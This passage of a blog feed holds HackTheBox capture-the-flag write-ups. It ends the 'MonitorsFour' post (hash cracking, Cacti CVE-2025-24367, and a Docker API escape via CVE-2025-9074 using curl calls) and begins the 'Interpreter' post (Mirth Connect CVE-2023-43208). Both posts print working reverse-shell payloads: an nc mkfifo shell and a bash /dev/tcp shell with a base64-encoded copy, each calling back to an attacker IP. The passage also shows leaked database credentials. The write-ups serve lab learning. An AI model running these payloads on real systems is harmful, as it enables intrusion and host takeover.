style="color:#f92672">&#34;salary&#34;</span>:<span style="color:#e6db74">&#34;83000.00&#34;</span>}]
</span></span></code></pre></div><p><img src="/posts/monitorsfour-htb/confirming_md5.png" alt=""><em>Confirming the use of MD5</em></p>
<p>One of the users&rsquo; hashes, <code>admin</code>, contained a weak password which is also documented in a well-known database of leaked passwords known as &ldquo;rockyou&rdquo;.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>hashcat -m <span style="color:#ae81ff">0</span> ~/Documents/htb/monitorsfour/admin_hash rockyou.txt
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>56b32eb43e6f15395f6c46c1c9e1cd36:wonderful1
</span></span></code></pre></div><p>These credentials were tested to gain access to the MonitorsFour dashboard through the <code>/login</code> portal which, in conjunction with the users shown in the second image below, confirm that the credentials found earlier are representative of the MonitorsFour dashboard users.
<img src="/posts/monitorsfour-htb/MF_dashboard.png" alt=""><em>monitorsfour.htb/dashboard</em></p>
<p><img src="/posts/monitorsfour-htb/marcus_user_highlight.png" alt="">
Above, user <code>admin</code>&rsquo;s first name, Marcus, is highlighted as it was useful for later credentials testing.</p>
<p>Enumeration on subdomains was performed on monitorsfour.htb using <code>ffuf</code> revealing cacti.monitorsfour.htb.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>└─$ ffuf -u http://monitorsfour.htb -H <span style="color:#e6db74">&#34;Host: FUZZ.monitorsfour.htb&#34;</span> -w subdomains-top1million-20000.txt -c -fs <span style="color:#ae81ff">138</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        /<span style="color:#e6db74">&#39;___\  /&#39;</span>___<span style="color:#ae81ff">\ </span>          /<span style="color:#960050;background-color:#1e0010">&#39;</span>___<span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>       /<span style="color:#ae81ff">\ \_</span>_/ /<span style="color:#ae81ff">\ \_</span>_/  __  __  /<span style="color:#ae81ff">\ \_</span>_/
</span></span><span style="display:flex;"><span>       <span style="color:#ae81ff">\ \ </span>,__<span style="color:#ae81ff">\\</span> <span style="color:#ae81ff">\ </span>,__<span style="color:#ae81ff">\/\ \/\ \ \ \ </span>,__<span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>        <span style="color:#ae81ff">\ \ \_</span>/ <span style="color:#ae81ff">\ \ \_</span>/<span style="color:#ae81ff">\ \ \_\ \ \ \ \_</span>/
</span></span><span style="display:flex;"><span>         <span style="color:#ae81ff">\ \_\ </span>  <span style="color:#ae81ff">\ \_\ </span> <span style="color:#ae81ff">\ \_</span>___/  <span style="color:#ae81ff">\ \_\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>          <span style="color:#ae81ff">\/</span>_/    <span style="color:#ae81ff">\/</span>_/   <span style="color:#ae81ff">\/</span>___/    <span style="color:#ae81ff">\/</span>_/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>       v2.1.0-dev
</span></span><span style="display:flex;"><span>________________________________________________
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> :: Method           : GET
</span></span><span style="display:flex;"><span> :: URL              : http://monitorsfour.htb
</span></span><span style="display:flex;"><span> :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
</span></span><span style="display:flex;"><span> :: Header           : Host: FUZZ.monitorsfour.htb
</span></span><span style="display:flex;"><span> :: Follow redirects : false
</span></span><span style="display:flex;"><span> :: Calibration      : false
</span></span><span style="display:flex;"><span> :: Timeout          : <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span> :: Threads          : <span style="color:#ae81ff">40</span>
</span></span><span style="display:flex;"><span> :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
</span></span><span style="display:flex;"><span> :: Filter           : Response size: <span style="color:#ae81ff">138</span>
</span></span><span style="display:flex;"><span>________________________________________________
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>cacti                   <span style="color:#f92672">[</span>Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 55ms<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>:: Progress: <span style="color:#f92672">[</span>19966/19966<span style="color:#f92672">]</span> :: Job <span style="color:#f92672">[</span>1/1<span style="color:#f92672">]</span> :: <span style="color:#ae81ff">716</span> req/sec :: Duration: <span style="color:#f92672">[</span>0:00:28<span style="color:#f92672">]</span> :: Errors: <span style="color:#ae81ff">0</span> ::
</span></span></code></pre></div><p><img src="/posts/monitorsfour-htb/cacti_page.png" alt=""><em>cacti.monitorsfour.htb/cacti</em></p>
<h1 id="foothold">Foothold</h1>
<p>Basic searches on the version of the Cacti framework listed near the footer of the login page (as seen above) made available a CVSS 8.8 rated vulnerability (<a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24367">CVE-2025-24367</a>) which allows authenticated users to take advantage of improper sanitization in the graph creation mechanism to execute code remotely (<a href="https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq">netniV</a>). Other methods involving unauthenticated exploits with this server were explored, but through more rigorous credential guessing, the previously found user, admin, had reused their password to authenticate with username &ldquo;marcus&rdquo; in the Cacti dashboard.
<img src="/posts/monitorsfour-htb/cacti_login.png" alt=""></p>
<p>CVE-2025-24367 is available for simple exploitation using the Metasploit framework tool <code>msfconsole</code>, using the module titled: <code>multi/http/cacti_graph_template_rce</code> It&rsquo;s trivial to achieve a remote reverse shell using this module.</p>
<blockquote>
<p><strong>Note</strong></p>
<p>When the reverse shell was established, it&rsquo;s notable to applaud the safeguards of the deployers of this application for running the <code>cacti</code> framework as an unprivileged, dedicated user <code>wwwdata</code>.</p></blockquote>
<blockquote>
<p><strong>Mitigation</strong></p>
<p>Update Cacti to &gt;v1.2.28 to prevent users from escaping rrdtool using newline characters. <em><a href="https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq">Source</a></em></p></blockquote>
<h1 id="privilege-escalation">Privilege Escalation</h1>
<p>The container that Cacti sits in appeared to be of the WSL type. The following is the output of <code>uname -a</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Linux version 6.6.87.2-microsoft-standard-WSL2 <span style="color:#f92672">(</span>root@439a258ad544<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>gcc <span style="color:#f92672">(</span>GCC<span style="color:#f92672">)</span> 11.2.0, GNU ld <span style="color:#f92672">(</span>GNU Binutils<span style="color:#f92672">)</span> 2.37<span style="color:#f92672">)</span> <span style="color:#75715e">#1 SMP PREEMPT_DYNAMIC Thu Jun  5 18:30:46 UTC 2025</span>
</span></span></code></pre></div><p><code>wwwdata</code> had access to a number of sensitive documents such as an environment variable and cacti&rsquo;s config.php, each containing sensitive credentials related to the databases of both the Cacti and MonitorsFour websites. The following few blocks of bash are excerpts from the Linux enumeration tool <a href="https://linpeas.sh%28https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS%29"><code>linpeas.sh</code></a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>╔══════════╣ Analyzing Env Files <span style="color:#f92672">(</span>limit 70<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>-rwxr-xr-x <span style="color:#ae81ff">1</span> www-data www-data <span style="color:#ae81ff">97</span> Sep <span style="color:#ae81ff">13</span>  <span style="color:#ae81ff">2025</span> /var/www/app/.env
</span></span><span style="display:flex;"><span>DB_HOST<span style="color:#f92672">=</span>mariadb
</span></span><span style="display:flex;"><span>DB_PORT<span style="color:#f92672">=</span><span style="color:#ae81ff">3306</span>
</span></span><span style="display:flex;"><span>DB_NAME<span style="color:#f92672">=</span>monitorsfour_db
</span></span><span style="display:flex;"><span>DB_USER<span style="color:#f92672">=</span>monitorsdbuser
</span></span><span style="display:flex;"><span>DB_PASS<span style="color:#f92672">=</span>f37p2j8f4t0r
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>╔══════════╣ Analyzing Cacti Files <span style="color:#f92672">(</span>limit 70<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>drwxr-xr-x <span style="color:#ae81ff">1</span> www-data www-data <span style="color:#ae81ff">4096</span> Apr <span style="color:#ae81ff">30</span> 03:36 /var/www/html/cacti
</span></span><span style="display:flex;"><span>-rwxr-xr-x <span style="color:#ae81ff">1</span> www-data www-data <span style="color:#ae81ff">7159</span> Sep <span style="color:#ae81ff">13</span>  <span style="color:#ae81ff">2025</span> /var/www/html/cacti/include/config.php
</span></span><span style="display:flex;"><span>$database_type     <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;mysql&#39;</span>;
</span></span><span style="display:flex;"><span>$database_default  <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;cacti&#39;</span>;
</span></span><span style="display:flex;"><span>$database_username <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;cactidbuser&#39;</span>;
</span></span><span style="display:flex;"><span>$database_password <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;7pyrf6ly8qx4&#39;</span>;
</span></span><span style="display:flex;"><span>$database_port     <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;3306&#39;</span>;
</span></span><span style="display:flex;"><span>$database_ssl      <span style="color:#f92672">=</span> false;
</span></span><span style="display:flex;"><span>$database_ssl_key  <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>$database_ssl_cert <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>$database_ssl_ca   <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#75715e">#$rdatabase_type     = &#39;mysql&#39;;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#$rdatabase_default  = &#39;cacti&#39;;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#$rdatabase_username = &#39;cactiuser&#39;;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#$rdatabase_password = &#39;cactiuser&#39;;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#$rdatabase_port     = &#39;3306&#39;;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#$rdatabase_ssl      = false;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#$rdatabase_ssl_key  = &#39;&#39;;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#$rdatabase_ssl_cert = &#39;&#39;;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#$rdatabase_ssl_ca   = &#39;&#39;;</span>
</span></span></code></pre></div><p><code>wwwdata</code> also had write privileges on each of these databases. This was demonstrated by overwriting the bcrypt and MD5 password hashes located in the Cacti and MonitorsFour databases, respectively. These changes to the hash were immediately reflected in the web applications as well.</p>
<p>linpeas.sh also identified mounted files to the Cacti container from it&rsquo;s host including files <code>/etc/resolv.conf</code>, <code>/etc/hostname</code> and <code>/etc/hosts</code>.
<img src="/posts/monitorsfour-htb/mounted_resolv.conf.png" alt=""><em>mounted files</em></p>
<p><code>/etc/resolv.conf</code>, a DNS resolving config file, exposed more information about the environment to a potential attacker, confirming a previous finding in the MonitorsFour dashboard that exposes the version number of the Docker Engine version that&rsquo;s hosting the Cacti and MonitorsFour dashboards.
<img src="/posts/monitorsfour-htb/confirmation_of_use_of_de.png" alt=""></p>
<p>Recalling from monitorsfour.htb:
<img src="/posts/monitorsfour-htb/docker_desktop_version.png" alt=""></p>
<p>A known <a href="https://github.com/zenzue/CVE-2025-9074/blob/main/cve_2025_9074_poc.py">proof of concept</a> exists for the vulnerability <a href="https://www.sentinelone.com/vulnerability-database/cve-2025-9074/">CVE-2025-9074</a>, which &ldquo;allows local running Linux containers to access the Docker Enginer API.&rdquo;  (SentinalOne) Additionally: &ldquo;On Docker Desktop for Windows with the WSL backend, the vulnerability additionally allows mounting the host drive with the same privileges as the user running Docker Desktop, potentially leading to complete host compromise.&rdquo;</p>
<p>However, this script was not helpful in demonstrating a successful exploitation of this vulnerability, as the container doesn&rsquo;t have Python installed. However, it did have access to web tools like <code>curl</code>, which can also be used to interact with the API of the default IP address (192.168.65.7). The steps to reproducing the exploit through the use of individual API calls are as follows.</p>
<h2 id="steps-for-recreation-cve-2025-9074">Steps for Recreation: CVE-2025-9074</h2>
<ol>
<li>
<p>Check available images: <code>curl http://192.168.65.7:2375/images/json 2&gt;/dev/null | grep -o '&quot;RepoTags&quot;:\[&quot;[^&quot;]*&quot;'</code>
<img src="/posts/monitorsfour-htb/initial_reverse_shell.png" alt=""></p>
</li>
<li>
<p>Create a container with the Windows C:\ drive (default letter) mounted:</p>
</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -s -X POST http://192.168.65.7:2375/containers/create <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -H <span style="color:#e6db74">&#34;Content-Type: application/json&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -d <span style="color:#e6db74">&#39;{
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;Image&#34;: &#34;alpine&#34;,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;Cmd&#34;: [&#34;sh&#34;, &#34;-c&#34;, &#34;sleep 3600&#34;],
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;HostConfig&#34;: {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      &#34;Binds&#34;: [&#34;/mnt/host/c:/host_root&#34;]
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    }
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  }&#39;</span>
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span>&lt;ID_RETURNED_HERE&gt;
</span></span></code></pre></div><ol start="3">
<li>
<p>Using the returned container ID, start it: <code>curl -s -X POST http://192.168.65.7:2375/containers/&lt;ID&gt;/start</code></p>
</li>
<li>
<p>Create an <code>exec</code> instance of a given command (returning a new ID):</p>
</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -s -X POST http://192.168.65.7:2375/containers/&lt;CONTAINER_ID&gt;/exec <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -H <span style="color:#e6db74">&#34;Content-Type: application/json&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -d <span style="color:#e6db74">&#39;{&#34;AttachStdin&#34;:true,&#34;AttachStdout&#34;:true,&#34;AttachStderr&#34;:true,&#34;Tty&#34;:true,&#34;Cmd&#34;:[&#34;sh&#34;,&#34;-c&#34;,&#34;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.15.205 4444 &gt;/tmp/f&#34;]}&#39;</span>
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span>&lt;ID_RETURNED_HERE&gt;
</span></span></code></pre></div><ol start="5">
<li>Trigger the command exec handle by sending a POST request to <code>/start</code>:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -s -X POST http://192.168.65.7:2375/exec/&lt;EXEC_ID&gt;/start -H <span style="color:#e6db74">&#34;Content-Type: application/json&#34;</span> -d <span style="color:#e6db74">&#39;{&#34;Detach&#34;:false,&#34;Tty&#34;:false}&#39;</span>
</span></span></code></pre></div><p><img src="/posts/monitorsfour-htb/root_rev_shell.png" alt=""></p>
]]></content></item><item><title>HackTheBox Writeup - "Interpreter"</title><link>https://mdunn99.com/posts/interpreter-htb/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://mdunn99.com/posts/interpreter-htb/</guid><description>&lt;p>This assessment followed a black-box approach. Interpreter is a medium &lt;a href="https://app.hackthebox.com/machines/Interpreter">HTB machine&lt;/a> running a vulnerable version of Mirth Connect, an open-source healthcare integration engine. This post covers CVE exploitation for initial foothold, hash analysis and cracking for lateral movement, and Python f-string injection via a locally hosted API server for root privilege escalation.&lt;/p>
&lt;h1 id="reconnaissance">Reconnaissance&lt;/h1>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>┌──&lt;span style="color:#f92672">(&lt;/span>mike㉿thinkpad&lt;span style="color:#f92672">)&lt;/span>-&lt;span style="color:#f92672">[&lt;/span>~&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>└─$ nmap -sC -sV 10.129.25.113
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Starting Nmap 7.95 &lt;span style="color:#f92672">(&lt;/span> https://nmap.org &lt;span style="color:#f92672">)&lt;/span> at 2026-04-03 16:49 EDT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Nmap scan report &lt;span style="color:#66d9ef">for&lt;/span> 10.129.25.113
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host is up &lt;span style="color:#f92672">(&lt;/span>0.071s latency&lt;span style="color:#f92672">)&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Not shown: &lt;span style="color:#ae81ff">997&lt;/span> closed tcp ports &lt;span style="color:#f92672">(&lt;/span>reset&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PORT STATE SERVICE VERSION
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 &lt;span style="color:#f92672">(&lt;/span>protocol 2.0&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| ssh-hostkey:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| &lt;span style="color:#ae81ff">256&lt;/span> 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 &lt;span style="color:#f92672">(&lt;/span>ECDSA&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ &lt;span style="color:#ae81ff">256&lt;/span> fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f &lt;span style="color:#f92672">(&lt;/span>ED25519&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>80/tcp open http Jetty
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| http-methods:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ Potentially risky methods: TRACE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-title: Mirth Connect Administrator
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>443/tcp open ssl/http Jetty
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| http-methods:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ Potentially risky methods: TRACE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| ssl-cert: Subject: commonName&lt;span style="color:#f92672">=&lt;/span>mirth-connect
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Not valid before: 2025-09-19T12:50:05
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_Not valid after: 2075-09-19T12:50:05
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-title: Mirth Connect Administrator
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ssl-date: TLS randomness does not represent time
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Nmap &lt;span style="color:#66d9ef">done&lt;/span>: &lt;span style="color:#ae81ff">1&lt;/span> IP address &lt;span style="color:#f92672">(&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span> host up&lt;span style="color:#f92672">)&lt;/span> scanned in 18.51 seconds
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The web page:
&lt;img src="https://mdunn99.com/posts/interpreter-htb/mirth_connect_dashboard.png" alt="">&lt;/p></description><content type="html"><![CDATA[<p>This assessment followed a black-box approach. Interpreter is a medium <a href="https://app.hackthebox.com/machines/Interpreter">HTB machine</a> running a vulnerable version of Mirth Connect, an open-source healthcare integration engine. This post covers CVE exploitation for initial foothold, hash analysis and cracking for lateral movement, and Python f-string injection via a locally hosted API server for root privilege escalation.</p>
<h1 id="reconnaissance">Reconnaissance</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>┌──<span style="color:#f92672">(</span>mike㉿thinkpad<span style="color:#f92672">)</span>-<span style="color:#f92672">[</span>~<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>└─$ nmap -sC -sV 10.129.25.113
</span></span><span style="display:flex;"><span>Starting Nmap 7.95 <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2026-04-03 16:49 EDT
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.129.25.113
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.071s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">997</span> closed tcp ports <span style="color:#f92672">(</span>reset<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>PORT    STATE SERVICE  VERSION
</span></span><span style="display:flex;"><span>22/tcp  open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 <span style="color:#f92672">(</span>protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">256</span> 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_  <span style="color:#ae81ff">256</span> fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>80/tcp  open  http     Jetty
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_  Potentially risky methods: TRACE
</span></span><span style="display:flex;"><span>|_http-title: Mirth Connect Administrator
</span></span><span style="display:flex;"><span>443/tcp open  ssl/http Jetty
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_  Potentially risky methods: TRACE
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName<span style="color:#f92672">=</span>mirth-connect
</span></span><span style="display:flex;"><span>| Not valid before: 2025-09-19T12:50:05
</span></span><span style="display:flex;"><span>|_Not valid after:  2075-09-19T12:50:05
</span></span><span style="display:flex;"><span>|_http-title: Mirth Connect Administrator
</span></span><span style="display:flex;"><span>|_ssl-date: TLS randomness does not represent time
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 18.51 seconds
</span></span></code></pre></div><p>The web page:
<img src="/posts/interpreter-htb/mirth_connect_dashboard.png" alt=""></p>
<p>I&rsquo;ll download the launcher/installer using curl, and identify the version number (4.4.0):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">&lt;</span>jnlp codebase<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://10.129.25.113:80&#34;</span> version<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;4.4.0&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;</span>information<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;</span>title<span style="color:#f92672">&gt;</span>Mirth Connect Administrator 4.<span style="color:#a6e22e">4</span>.<span style="color:#a6e22e">0</span><span style="color:#f92672">&lt;/</span>title<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;</span>vendor<span style="color:#f92672">&gt;</span>NextGen Healthcare<span style="color:#f92672">&lt;/</span>vendor<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;</span>homepage href<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://www.nextgen.com&#34;</span><span style="color:#f92672">/&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;</span>description<span style="color:#f92672">&gt;</span>Open Source Healthcare Integration Engine<span style="color:#f92672">&lt;/</span>description<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;</span>icon href<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;images/NG_MC_Icon_128x128.png&#34;</span><span style="color:#f92672">/&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;</span>icon href<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;images/MirthConnect_Logo_WordMark_Big.png&#34;</span> kind<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;splash&#34;</span><span style="color:#f92672">/&gt;</span>
</span></span></code></pre></div><h1 id="foothold">Foothold</h1>
<p>Mirth Connect version 4.4.0 corresponds to a well-known <a href="https://nvd.nist.gov/vuln/detail/cve-2023-43208">CVE-2023-43208</a> which can be exploited using <a href="https://github.com/jakabakos/CVE-2023-43208-mirth-connect-rce-poc">jakabakos&rsquo; PoC</a>. We can pass a command here which I&rsquo;ll assume can be a standard reverse shell: <code>bash -c 'bash -i &gt;&amp; /dev/tcp/10.10.14.84/4444 0&gt;&amp;1'</code> where we set up a netcat listener on <code>4444</code>: <code>nc -lvnp 4444</code>. Unfortunately, this wasn&rsquo;t successful. I decided to pass a <em>no-space base64 encoded string</em> into the PoC by first encoding the shell:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>echo -n <span style="color:#e6db74">&#39;bash -i &gt;&amp; /dev/tcp/10.10.14.84/4444 0&gt;&amp;1&#39;</span> | base64
</span></span><span style="display:flex;"><span>YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44NC80NDQ0IDA+JjE<span style="color:#f92672">=</span>
</span></span></code></pre></div><p>Then it&rsquo;s as simple as:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python3 CVE-2023-43208.py -u https://10.129.25.113/ -c <span style="color:#e6db74">&#34;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44NC80NDQ0IDA+JjE=}|{base64,-d}|bash&#34;</span>
</span></span></code></pre></div><h1 id="user-privilege-escalation">User Privilege Escalation</h1>
<p>Peering around in our files we see <code>conf/mirth.properties</code> which reveals a mariadb username and password, which is running on our box (denoted by port 3306):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mirth@interpreter:/usr/local/mirthconnect$ ss -tlnp
</span></span><span style="display:flex;"><span>State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess
</span></span><span style="display:flex;"><span>LISTEN <span style="color:#ae81ff">0</span>      <span style="color:#ae81ff">80</span>         127.0.0.1:3306       0.0.0.0:*
